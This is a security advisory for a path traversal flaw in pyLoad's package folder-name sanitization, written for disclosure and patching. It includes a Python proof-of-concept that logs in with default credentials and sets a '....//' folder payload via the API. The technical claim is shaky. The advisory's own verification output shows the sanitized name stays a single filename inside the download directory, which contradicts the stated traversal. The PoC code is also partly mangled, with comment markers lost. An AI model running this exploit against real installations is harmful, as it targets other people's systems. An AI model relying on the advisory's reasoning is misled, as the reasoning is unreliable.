GHSA-97r3-5w84-r4q8 PyLoad Vulnerable to Path Traversal via Package Folder Name

• PyPI pyload-ng: < 0.5.0b3.dev100 → fixed in 0.5.0b3.dev100

Insufficient sanitization of package folder names allows writing files outside the intended download directory. Affected Component • `src/pyload/core/api/__init__.py` • Function: `add_package()` Description Package folder names are sanitized using insufficient string replacement: ```python folder = ( folder.replace("http://", "") .replace("https://", "") .replace("../", "_") # Bypassable! .replace("..\\", "_") .replace(":", "") .replace("/", "_") .replace("\\", "_") ) ``` The `../` replacement is bypassable. The pattern `....//` becomes `.._` after replacement (partial removal), leaving `..` which can be exploited when the path is later resolved by the OS. Proof of Concept Setup ```bash pip install pyload-ng[all] pyload -d & Default credentials: pyload / pyload ``` Exploit ```python !/usr/bin/env python3 import requests BASE_URL = "http://localhost:8000" USERNAME = "pyload" PASSWORD = "pyload" session = requests.Session() Login session.post(f"{BASE_URL}/login", data={ "username": USERNAME, "password": PASSWORD }) Create package with malicious folder name The pattern ....// bypasses the ../ replacement After sanitization: .._ (still contains ..) folder_payload = "....//....//....//tmp/evil" resp = session.post(f"{BASE_URL}/api/add_package", json={ "name": "test_package", "links": ["http://example.com/file.txt"], "dest": 1 # Destination.QUEUE }) package_id = resp.json() print(f"Created package: {package_id}") Set malicious folder name resp = session.post(f"{BASE_URL}/api/set_package_data", json={ "package_id": package_id, "data": {"folder": folder_payload} }) print(f"Set folder payload: {folder_payload}") print(f"Response: {resp.status_code}") When download occurs, files will be written outside download dir print("[+] When a file is downloaded, it will be written to manipulated path") print(" The sanitized folder still contains '..' sequences that OS resolves") ``` Verification Check where files would be written: ```python import os download_dir = "/home/user/Downloads" folder = "....//....//....//tmp/evil" Simulate pyLoad's sanitization sanitized = folder.replace("../", "_").replace("/", "_") print(f"After pyLoad sanitization: {sanitized}") Output: .._.._.._tmp_evil When pyLoad does os.path.join and then opens the file: final_path = os.path.join(download_dir, sanitized) print(f"Joined path: {final_path}") Output: /home/user/Downloads/.._.._.._tmp_evil The .. sequences remain and could be resolved by OS during file operations ``` Impact Authenticated users with ADD permission can: • Write files outside the download directory • Potentially overwrite system files (depending on permissions) • Clutter system directories with downloaded content